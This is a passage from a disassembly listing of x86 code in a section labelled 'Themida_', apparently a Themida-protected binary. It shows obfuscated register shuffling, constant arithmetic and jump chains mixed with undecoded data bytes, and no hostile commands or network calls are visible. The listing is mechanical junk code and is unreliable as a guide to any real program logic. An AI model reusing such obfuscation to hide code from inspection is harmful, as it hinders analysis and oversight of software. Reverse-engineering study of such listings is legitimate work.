; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0ADh
		dd 4AFFFFC3h, 0E904E2C1h, 3A6Ah
; ---------------------------------------------------------------------------


loc_59C8A8:				; CODE XREF: Themida_:00599EA1j
		sub	eax, edi
		pop	edi
		xor	edi, eax
		pop	eax
		push	3133h
		mov	[esp], edx
		mov	edx, 6D1A44F7h
		neg	edx
		not	edx
		push	esi
		mov	esi, 17FA5626h
		xor	edx, esi
		jmp	loc_59DB12
; ---------------------------------------------------------------------------
aSfb		db '^é”B',0
		align 2
		dw 0F181h
		dd 6F4F5C16h, 4CB7E9h, 7EAC100h, 1A1DB850h, 0C22900CCh
		dd 0FBCE958h, 248B0000h, 24148924h, 43F868h, 243C8900h
		dd 0CD0456BFh, 80F7814Eh, 0F73C7B61h, 0E9D7F7DFh, 5342h
		dd 592434FFh, 8104C483h, 4C4h, 4EC8300h, 51241489h, 895851B9h
		dd 933BA37h, 0CA01371Bh, 8EC28159h, 0E9581576h,	0FFFFFEFCh
		dd 4C4815Ah, 56000000h,	0EC83E689h, 241C8904h, 0AE1FE9h
		dd 24348900h, 24348B54h, 0E904C483h, 8E94h, 2474FF56h
		dd 54C8E904h, 77FF0000h, 951AE92Ch, 5457FFFFh, 4C7815Fh
		dd 0E9000000h, 38F3h, 923E9CBDh, 34FF554Fh, 54505B24h
		dd 0FFB00AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C991:				; CODE XREF: Themida_:005AAD04j
		pop	ecx
		jmp	loc_5A6578
; ---------------------------------------------------------------------------
		db 59h
		dd 2A6E9h, 0E6C18100h, 5B44E866h, 153068h, 242C8900h, 0EA4BB53h
		dd 3EE91346h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C9B7:				; CODE XREF: Themida_:0059F61Dj
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5A9425
; ---------------------------------------------------------------------------
		db 29h,	0F5h, 5Eh
		dd 0FFAF43E9h, 0C0B60FFFh, 0FFF8D9E9h, 3C77FFFFh, 31F268h
		dd 241C8900h, 0A868h, 242C8900h, 0FFFF8FE9h, 0F0C480FFh
		dd 6607ECC0h, 1719E951h, 3D680000h, 0FF29F35Ah,	1C8B2434h
		dd 0E3895324h, 4C381h, 0ADE90000h, 81000010h, 4C7h, 2C78100h
		dd 33000000h, 3C31243Ch, 29DE924h, 48F0000h, 53565224h
		dd 2FB4E952h, 2B90000h,	1000000h, 0E942E9CEh, 0D2BFFFFFh
		dd 8151A94Fh, 0BE49AEEFh, 0B415E923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CA56:				; CODE XREF: Themida_:00598792j
		sub	dh, al
		pop	eax
		jmp	loc_5A2490
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 23B768h, 0E0EDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CA6A:				; CODE XREF: Themida_:005A43FDj
		mov	ecx, 6BAA0A0Fh
		push	ebp
		mov	ebp, 319364E0h
		dec	ebp
		sub	ebp, 2B554CA8h
		and	ebp, 763A0F52h
		shr	ebp, 8
		xor	ebp, 69D8747Eh
		push	esi
		mov	esi, 45CD259Eh
		push	edi
		mov	edi, 2B7E44A9h
		add	edi, 68CC3D4Ah
		xor	edi, 435D756Fh
		sub	edi, 23E33228h
		and	edi, 2B385F62h
		jmp	loc_5A775C
; ---------------------------------------------------------------------------
		dd 2474FF51h, 48F5904h,	24248B24h, 4BB0F66h, 0C1E99C24h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CACB:				; CODE XREF: Themida_:005985DBj
		mov	eax, 4
		add	ebx, eax
		jmp	loc_59F6A5
; ---------------------------------------------------------------------------
		db 56h
		dd 42474FFh, 8124348Bh,	4C4h, 24048F00h, 5024248Bh, 6DE9E089h
		dd 10000DBh, 240C8BCFh,	4C481h,	0C7010000h, 7B96EF81h
		dd 0EF815791h, 244C4BECh, 0CC37E958h, 0D631FFFFh, 0E9E6D15Ah
		dd 0FFFFF3BAh, 58C3295Ah, 0FFFF39E9h, 9362E9FFh, 8166FFFFh
		dd 0E97994C3h, 0FFFFFBE6h
; ---------------------------------------------------------------------------


loc_59CB34:				; CODE XREF: Themida_:0059A47Bj
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_5A7F8B
; ---------------------------------------------------------------------------


loc_59CB40:				; CODE XREF: Themida_:005A30AEj
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0EB830000h, 241C8704h, 241C895Ch, 4BBh, 5BDD2900h
		dd 0FFBBABE9h, 2434FFFFh, 4EC8358h, 0C2BEE9h
		db 0
; ---------------------------------------------------------------------------


loc_59CB71:				; CODE XREF: Themida_:0059B15Cj
		xor	ebp, edi
		jmp	loc_5A652E
; ---------------------------------------------------------------------------
		dd 405h, 4EC8300h, 0E9241C89h, 9EDDh, 6602C483h, 68A0F781h
		dd 81665766h, 506C2404h, 0BF71E9h, 0B3536600h, 66DC20D5h
		dd 2867E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59CBAA:				; CODE XREF: Themida_:005A3CE4j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A6DDC
; ---------------------------------------------------------------------------


loc_59CBB5:				; CODE XREF: Themida_:005A1EE3j
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	21220DE7h
		pop	eax
		add	eax, 2B494C48h
		mov	ebx, eax
		pop	eax
		sub	ebx, 632D5412h
		jmp	loc_59B4AB
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5EE9240Ch, 590000CBh, 4BA52h, 95E90000h, 68000042h
		dd 2514h, 79DAE9h, 240C8B00h, 8104C483h, 1C2h, 3B62E900h
		dd 0EE810000h, 5FDA1429h, 0DF68FE29h, 0E9000014h, 6C00h
		dd 7C6DBB53h, 0D8091761h, 5FE9525Bh, 0B9000058h, 14721B2Dh
		dd 0DC45E981h, 0D505986Eh, 0E9389112h, 39DBh
; ---------------------------------------------------------------------------


loc_59CC3C:				; CODE XREF: Themida_:005A06EAj
		sub	ebx, eax
		jmp	loc_59A602
; ---------------------------------------------------------------------------
		db 33h
		dd 4312404h, 24043324h,	64D8E95Ch, 0EF810000h, 2C407E1Dh
		dd 3BDFEF81h, 0C7011233h, 3BDFC781h, 0C7811233h, 2C407E1Dh
		dd 0FFA34BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CC71:				; CODE XREF: Themida_:005A4645j
		add	edx, 703C6397h
		xor	edx, 92059FFFh
		xor	ebp, edx
		mov	edx, [esp]
		jmp	loc_5A667D
; ---------------------------------------------------------------------------


loc_59CC87:				; CODE XREF: Themida_:005A83BBj
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A47C5
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C6h
		dd 503DB1Bh, 405EF089h,	163CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59CCAD:				; CODE XREF: Themida_:005A8381j
		mov	[esp], esi
		jmp	loc_59FED4
; ---------------------------------------------------------------------------
		db 80h,	0E3h, 6Fh
		dd 0BA18E952h, 895CFFFFh, 8B54241Ch, 0E2E9241Ch, 33000012h
		dd 665C243Ch, 0E904C435h, 87FBh, 0B5240C89h, 12A4E90Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59CCE2:				; CODE XREF: Themida_:00596E75j
		add	esp, 4
		push	4C5Dh
		mov	[esp], ecx
		push	ebx
		push	2CC90520h
		pop	ebx
		add	ebx, 0CC5670Dh
		push	esi
		jmp	loc_5A62C3
; ---------------------------------------------------------------------------


loc_59CD03:				; CODE XREF: Themida_:0059B830j
		add	eax, edx
		pop	edx
		jmp	loc_5A9772
; ---------------------------------------------------------------------------
		db 81h
		dd 0BF6FADF2h, 0B17E93Fh, 0C2810000h, 32109D3Eh, 50D08950h
		dd 8274E9h, 0F7D1F700h,	4F181D1h, 151E610h, 0BA5259C8h
		dd 4, 0BEE9D029h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59CD3F:				; CODE XREF: Themida_:005A31B5j
		xchg	edi, [esp]
		pop	edx
		xor	edx, 0DBE7B833h
		push	ebx
		push	ebp
		mov	ebp, 913126Ch
		not	ebp
		jmp	loc_5A3EFD
; ---------------------------------------------------------------------------
		db 0F7h
		dd 81D7F7DFh, 1C7h, 54EAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59CD66:				; CODE XREF: Themida_:0059DBF4j
		push	dword ptr [esp+4]
		jmp	loc_599F39
; ---------------------------------------------------------------------------


loc_59CD6F:				; CODE XREF: Themida_:005A16EBj
		mov	edx, esp
		jmp	loc_5A0B93
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFDC43h
; ---------------------------------------------------------------------------


loc_59CD7C:				; CODE XREF: Themida_:005A4343j
		not	ebp
		xor	ebp, 800FECBEh
		sub	edx, ebp
		pop	ebp
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	ebx, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A9315
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 815FFD89h, 0FD2866E9h, 81E9015Bh,	0FD2866C1h, 2434FF5Bh
		dd 9E83E9h, 0E9CA0900h,	0A356h,	0FF2434FFh, 48B2434h, 4C48324h
		dd 4C481h, 5FE90000h, 810000CEh, 4A6F6EE3h, 0F099E974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CDFA:				; CODE XREF: Themida_:005A37BFj
		mov	edi, esp
		push	2199h
		jmp	loc_596019
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 0E9000000h, 0C338h, 0F02BBCBDh, 39E58122h
		dd 527B4F57h, 9F41E9h
		db 0
; ---------------------------------------------------------------------------


loc_59CE25:				; CODE XREF: Themida_:0059B4C4j
		add	esi, 0FFFFFFFFh
		push	ecx
		jmp	loc_596BB6
; ---------------------------------------------------------------------------


loc_59CE2E:				; CODE XREF: Themida_:0059B180j
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_596C1A
; ---------------------------------------------------------------------------
		db 0BFh
		dd 73EC62B6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5A21C4
; ---------------------------------------------------------------------------
		dd 0E9240C87h, 0FFFFBFF1h, 66C12966h, 0CA316658h, 98B6E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CE62:				; CODE XREF: Themida_:0059FAEEj
		pop	eax
		mov	cl, dl
		pop	edx
		jmp	loc_5A1E04
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF901Ch, 81241489h, 4F8F242Ch, 525B2DEFh,	0EF4F8FBAh
		dd 6E76E92Dh, 2CD20000h, 0FDE99C24h, 5FFFF8Fh, 4, 0E904E883h
		dd 0FFFFE187h
; ---------------------------------------------------------------------------


loc_59CE9C:				; CODE XREF: Themida_:005A2A84j
		xchg	esi, ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_5A7D0D
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFC06AE9h, 81E589FFh, 4C5h,	0C88FE900h, 0C8B0000h
		dd 4C48124h, 81000000h,	7556FEC7h, 0E9EF0143h, 7995h
; ---------------------------------------------------------------------------


loc_59CEE4:				; CODE XREF: Themida_:005A38C1j
		sub	esp, 4
		mov	[esp], esi
		push	7B39h
		mov	[esp], ebx
		push	ebx
		mov	ebx, 0FA14282h
		jmp	loc_59D593
; ---------------------------------------------------------------------------


loc_59CEFD:				; CODE XREF: Themida_:005A0177j
		shr	eax, 7
		jmp	loc_59DAD1
; ---------------------------------------------------------------------------


loc_59CF05:				; CODE XREF: Themida_:005A7266j
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_59FE68
; ---------------------------------------------------------------------------


loc_59CF1F:				; CODE XREF: Themida_:00599107j
		sub	ebx, 2AED2036h
		sub	ebx, eax
		add	ebx, 2AED2036h
		jmp	loc_59E457
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFCB50h, 24048153h, 68C309D4h, 0D4EA815Ah, 8B68C309h
		dd 0B1E9241Ch
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59CF4F:				; CODE XREF: Themida_:0059C4ACj
		pop	esi
		jmp	loc_5A83F8
; ---------------------------------------------------------------------------
		db 57h,	0FFh, 4
		dd 1A23E924h, 0E5890000h, 4C581h, 0ED810000h, 4, 8B242C87h
		dd 0B9E92424h, 5300007Dh, 637E9h, 8AE95900h, 1FFFFD8h
		dd 5A042454h, 5E2434FFh, 4C481h, 0EC830000h, 0F66AE904h
		dd 8952FFFFh, 4C281E2h,	0E9000000h, 5A8Fh, 2B9h, 59CF8900h
		dd 2009EE81h, 0B85067C2h, 394544BFh, 4604C681h,	0C6297418h
		dd 3C67E9h, 4BD00h, 0EB290000h,	43E5E9h, 5E95F00h
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59CFDB:				; CODE XREF: Themida_:005A47DBj
		add	edi, 3EEA776Ch
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5A7359
; ---------------------------------------------------------------------------


loc_59CFEA:				; CODE XREF: Themida_:005A517Bj
		add	esi, eax
		pop	eax
		add	esi, eax
		push	ebx
		mov	ebx, 6C8B7158h
		dec	ebx
		shl	ebx, 1
		and	ebx, 5CA54D97h
		xor	ebx, 51290E36h
		jmp	loc_5AA5BB
; ---------------------------------------------------------------------------


loc_59D009:				; CODE XREF: Themida_:005A102Cj
		mov	edx, eax
		pop	eax
		or	edx, 22482087h
		add	edx, 26EC0FB6h
		push	7484h
		mov	[esp], edi
		mov	edi, edx
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		not	esi
		jmp	loc_59FA39
; ---------------------------------------------------------------------------


loc_59D03A:				; CODE XREF: Themida_:0059F6A6j
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2ADCh
		push	1F93h
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_5A677E
; ---------------------------------------------------------------------------
		db 66h
		dd 4EC8350h, 2C2BE9h, 0CABA5200h, 2923E711h, 932D5AD0h
		dd 682F2D3Eh, 7714h, 0E9242C89h, 96ADh,	20F78166h, 0FA016663h
		dd 0E2C1665Fh, 0EA816604h, 81660A40h, 665F67EEh, 8166D601h
		dd 5A5F67C6h, 5EF18966h, 66C82966h, 0E9240C8Bh,	6B6Ch
		dd 0E905EEC1h, 0FFFFA4FFh, 0E904E983h, 0FFFFE35Dh
; ---------------------------------------------------------------------------


loc_59D0D8:				; CODE XREF: Themida_:00597331j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59A2CB
; ---------------------------------------------------------------------------
aPZ_Xyb		db '^P¸',9,'!‡_)ÆXYÆÏ',0
		dd 0F6817D5Dh, 179D3BE6h, 0DF81E9h, 0E2EE8100h,	894C0A3Ch
		dd 46E95EF3h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D10F:				; CODE XREF: Themida_:005A0CA4j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	61CBh
		jmp	loc_59968C
; ---------------------------------------------------------------------------


loc_59D126:				; CODE XREF: Themida_:0059A7D6j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5A06B8
; ---------------------------------------------------------------------------
		dd 0E959CB89h, 0FFFFBBCEh
; ---------------------------------------------------------------------------


loc_59D13C:				; CODE XREF: Themida_:005962CFj
		pop	ecx
		push	7DB8h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_59F541
; ---------------------------------------------------------------------------


loc_59D158:				; CODE XREF: Themida_:005AA65Bj
		pop	esi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A3BBE
; ---------------------------------------------------------------------------


loc_59D162:				; CODE XREF: Themida_:005A7ED7j
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]


loc_59D169:				; CODE XREF: Themida_:005975A2j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	ebx
		jmp	loc_5985CC
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C6h, 24348700h, 5EF3015Ch, 0C416E956h, 0EC83FFFFh
		dd 24148904h, 9DEEE9h
		db 0
; ---------------------------------------------------------------------------


loc_59D1A1:				; CODE XREF: Themida_:00598C22j
		mov	ebp, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5A2B26
; ---------------------------------------------------------------------------
		db 5Ah
		dd offset dword_580994+4D4h
		dd 24348900h, 8904EC83h, 5568242Ch, 5D77D967h, 0FFEBC4E9h
		dd 0B5B358FFh, 0E4C380h, 0E4EB80CBh, 0FFB7DBE9h, 0E9D701FFh
		dd 5849h, 0E906E6C1h, 0FFFFB363h, 704E68h, 243C8900h, 0E7F68h
		dd 24348900h, 7DB6B850h, 0E0C10FC6h, 7E840506h,	0C1404683h
		dd 0E8C102E8h, 0F1E95502h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D217:				; CODE XREF: Themida_:005A6CD9j
		add	esp, 4
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_5A1819
; ---------------------------------------------------------------------------
		dd 8B240C87h, 30FF2424h, 0FF8C43E9h, 66C1FEFFh,	0CEE1E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D252:				; CODE XREF: Themida_:005A0BA1j
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_59DFA7
; ---------------------------------------------------------------------------
		dw 489h
		dd 5E08924h, 4,	0E904C083h, 0FFFFEB5Ah,	5A55524Ah, 83242C8Bh
		dd 0C58104C4h, 0FFFFFFFFh, 0BE56EA87h, 0D8D5FB8h, 1284E9h
		dd 0F6D6F600h, 0F2F680DEh, 0BB4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_59D299:				; CODE XREF: Themida_:00597D09j
		push	15C7h
		mov	[esp], edx
		push	ebx
		mov	bl, 67h
		sub	bl, 40h
		mov	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 3Bh
		sub	ah, 0FFh
		jmp	loc_59E242
; ---------------------------------------------------------------------------
		db 0B9h, 9Eh, 29h
		dd 0CA313439h, 0FF93CCE9h, 0F3315AFFh, 5E2434FFh, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 248B241Ch, 1C5F2124h, 8B96E95Bh
		dd 0E983FFFFh, 240C8704h, 2414895Ch, 3B83E9h, 0DEB95100h
		dd 0BA1E050Dh, 3E16884Bh, 202DE9h, 207EB900h, 0E98345E5h
		dd 0CE98101h, 21DB6204h, 67E959CBh, 5A000092h, 0FFFD97E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D331:				; CODE XREF: Themida_:0059961Bj
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 139336ACh
		jmp	loc_59AD61
; ---------------------------------------------------------------------------
		dw 98B4h
		dd 1E9E500h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D34B:				; CODE XREF: Themida_:005A2A0Cj
		pop	ebx
		push	edi
		push	7C66h
		mov	[esp], ebx
		jmp	loc_596AFB
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 81000000h,	4C1h, 0FCE95200h, 0FFFFFFB6h, 59042474h
		dd 0E924048Fh, 0FFFFBFDAh, 56241489h, 4D7FB951h, 0EC8176F9h
		dd 4, 56240C89h, 872109BEh, 246C815Fh, 77336804h, 2474014Eh
		dd 24448104h, 77336804h, 0AA68E94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D3AE:				; CODE XREF: Themida_:005A7DFEj
		push	738Bh
		mov	[esp], ebp
		jmp	loc_59771D
; ---------------------------------------------------------------------------


loc_59D3BB:				; CODE XREF: Themida_:0059FDA7j
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		add	dword ptr [esp], 180B146Bh
		pop	eax
		push	esi
		mov	esi, 180B146Bh
		add	eax, 36AD4CDDh
		sub	eax, esi
		sub	eax, 36AD4CDDh
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5A8106
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 3Ch
		dd 4C48124h, 68000000h,	42F9h, 0E9240C89h, 963Dh, 0E9EF015Bh
		dd 3507h
; ---------------------------------------------------------------------------


loc_59D410:				; CODE XREF: Themida_:005A8810j
		push	52Bh
		mov	[esp], ecx
		pop	eax
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_59DBBD
; ---------------------------------------------------------------------------
		dd 4C581h, 2C330000h, 242C3124h, 8B242C33h, 50532424h
		dd 8904EC83h, 57E92434h, 0BFFFFFC5h, 4,	0FFCF88E9h, 7829BBFFh
		dd 0D80130D4h, 3547E95Bh, 0E2890000h, 0CCACE9h,	81ED8100h
		dd 0E90A785Dh, 0FFFFE211h, 943C781h, 348B3B11h,	4C48324h
		dd 0E6372405h, 8F43E97Ah, 5580000h, 4, 0BBFEE9h, 24248B00h
		dd 35FDE9h
		db 0
; ---------------------------------------------------------------------------


loc_59D495:				; CODE XREF: Themida_:005A025Dj
		add	edx, ecx
		add	edx, 17EF09F1h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59A47A
; ---------------------------------------------------------------------------


loc_59D4AB:				; CODE XREF: Themida_:0059B409j
		mov	ebx, eax
		pop	eax
		push	edi
		mov	edi, 3D1C6F4Ch
		sub	eax, edi
		pop	edi
		sub	eax, 2A8B25EFh
		add	eax, 3F8F0CDAh
		add	eax, ebx
		jmp	loc_5A2933
; ---------------------------------------------------------------------------


loc_59D4C8:				; CODE XREF: Themida_:005A5E34j
		shl	ecx, 4
		neg	ecx
		push	ecx
		xchg	ebx, [esp]
		jmp	loc_5A9F45
; ---------------------------------------------------------------------------


loc_59D4D6:				; CODE XREF: Themida_:0059861Bj
		sub	edi, 71A44714h
		add	edi, edx
		add	edi, 71A44714h
		push	esi
		jmp	loc_59F45E
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4F0920EEh, 52C6C681h, 0FF587D14h, 14E92434h,	5FFFFFB5h
		dd 336868h, 243C8900h, 6F80E9h,	4C48100h, 81000000h, 4C6h
		dd 0D3BF5700h, 0E973AF1Eh, 0FFFFF833h, 0BF243C89h, 7CDA463Dh
		dd 8105EFC1h, 187EE3C7h, 5FFE016Eh, 0FFA8B4E9h,	5C83BDFFh
		dd 0D5F73BC6h, 0A8D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_59D549:				; CODE XREF: Themida_:005A3321j
		mov	eax, esp
		jmp	loc_5A2CBD
; ---------------------------------------------------------------------------


loc_59D550:				; CODE XREF: Themida_:005AA5B6j
		sub	dword ptr [esp+4], 20E63EC1h
		add	[esp+4], eax
		add	dword ptr [esp+4], 20E63EC1h
		pop	eax
		sub	dword ptr [esp], 123B2068h
		add	dword ptr [esp], 60FF0AEAh
		add	dword ptr [esp], 1CC90F94h
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		db 81h
		dd 5C06BDCEh, 0D0F79673h, 0FF9016E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D58D:				; CODE XREF: Themida_:00596C51j
		pop	ebx
		jmp	loc_5989E0
; ---------------------------------------------------------------------------


loc_59D593:				; CODE XREF: Themida_:0059CEF8j
		add	[esp+4], ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 0FA14282h
		push	eax
		jmp	loc_5A4900
; ---------------------------------------------------------------------------
		db 0F6h, 0DEh, 0E9h
		dd 2B6Eh, 0C381E389h, 4, 0E904C383h, 6B4Eh
; ---------------------------------------------------------------------------


loc_59D5C4:				; CODE XREF: Themida_:005A7195j
		push	41B4h
		mov	[esp], eax
		jmp	loc_5A1E3A
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0FCh
aCjsn		db '·çjénÈ',0
		align 4


loc_59D5DC:				; CODE XREF: Themida_:005A58C6j
		push	47E6h
		mov	[esp], eax
		mov	eax, 701C4127h
		or	ebp, eax
		pop	eax
		jmp	loc_5A971C
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5A1C86
; ---------------------------------------------------------------------------


loc_59D5F9:				; CODE XREF: Themida_:00598061j
		inc	ebx
		or	ebx, 62304EC5h
		sub	ebx, 6F777ED3h
		mov	edx, ebx
		pop	ebx
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_59AF0C
		push	23CAh
		mov	[esp], ecx
		push	eax
		jmp	loc_5A43DB
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 4EC81h, 0DAE90000h
		dd 40000BDh, 5B99E90Bh,	34FF0000h, 0C4835A24h, 9B9AE904h
		dd 0C483FFFFh, 2434FF04h, 4C4815Fh, 81000000h, 5074C0EFh
		dd 5FE9502Fh
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D66F:				; CODE XREF: Themida_:005A5A13j
		not	ebx
		add	ebx, 6D7A4E89h
		add	edx, ebx
		pop	ebx
		push	300Ch
		mov	[esp], ebx
		push	eax
		mov	eax, 1F75360Bh
		mov	ebx, eax
		pop	eax
		xor	edx, ebx
		pop	ebx
		or	edx, 7C2C64C9h
		xor	edx, 0CEDF3EA5h
		xor	esi, edx
		mov	edx, [esp]
		jmp	loc_5AB1EE
; ---------------------------------------------------------------------------


loc_59D6A4:				; CODE XREF: Themida_:005A2240j
		mov	ebp, 300267F0h
		dec	ebp
		dec	ebp
		dec	ebp
		sub	ebp, 29F50454h
		xchg	edi, ebp
		neg	edi
		xchg	edi, ebp
		add	ebp, 347367D6h
		jmp	loc_5997F6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4E98300h, 94AE9h, 0E9525300h, 0D863h, 0EB00E3B5h
		dd 53516659h, 0B45067B7h, 3063B13Dh, 0F92858E1h, 0FF9390E9h
		dd 0E8295AFFh, 58C7015Dh, 83FA8952h, 148904ECh,	5F5A5924h
		dd 447CBD55h, 0F0E956A8h, 5DFFFFE7h, 4C181h, 21E90000h
		dd 66FFFFFBh, 68240C8Bh, 2BA5h,	83241489h, 0E3E904ECh
		dd 6800003Bh, 755B30D2h, 0E92434FFh, 0D9CEh
; ---------------------------------------------------------------------------


loc_59D73C:				; CODE XREF: Themida_:00599FB0j
		xor	ebx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		jmp	loc_59F120
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C68100h, 33000000h, 93E92434h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D75F:				; CODE XREF: Themida_:005A1BE3j
		push	17773E51h
		pop	esi
		sub	esi, 0E40AEB96h
		mov	edx, esi
		pop	esi
		mov	eax, 336C533Bh
		sub	eax, 7A502E36h
		sub	eax, 0B4D43DAh
		sub	eax, edx
		add	eax, 0B4D43DAh
		push	edx
		mov	edx, 7A502E36h
		sub	eax, 5C996FBAh
		jmp	loc_59BB3D
; ---------------------------------------------------------------------------
		dd 535AD509h, 3D4EBDBBh, 58E3817Eh, 8136553Ah, 2FA25BEBh
		dd 5BDD31F7h, 835DEB01h, 1C8704C3h, 24248B24h, 2474FF57h
		dd 8873E904h, 0EC81FFFFh, 4, 66241C89h,	0E94D17BBh, 4128h
		dd 4C281h, 14870000h, 68565C24h, 61E179D2h, 2332E9h, 51E58900h
		dd 0FB5E84B9h, 80E9811Ch, 811CFB5Eh, 232E22EDh,	0E9CD0152h
		dd 0FFFFB74Ah, 0BE243489h, 46A3D4AEh, 505EF201h, 767E33B8h
		dd 6BABE955h, 0E95F0000h, 0FFFFCE1Bh, 0BBEA815Dh, 426AA85Ch
		dd 0CEBAE9h, 6AC58100h,	0E9666F24h, 0BC09h, 5A2768h, 240C8900h
		dd 0B8C8E9h, 0EC815B00h, 4, 50243C89h, 405E089h, 83000000h
		dd 48704E8h, 0C895C24h,	7D91E924h, 0E9510000h, 48BCh
; ---------------------------------------------------------------------------


loc_59D86C:				; CODE XREF: Themida_:0059E048j
		shr	ecx, 0
		or	eax, eax
		jz	loc_599B2F
		push	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A67E3
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 34FF0000h, 242C8B24h, 4C481h, 0DBE90000h, 89000030h
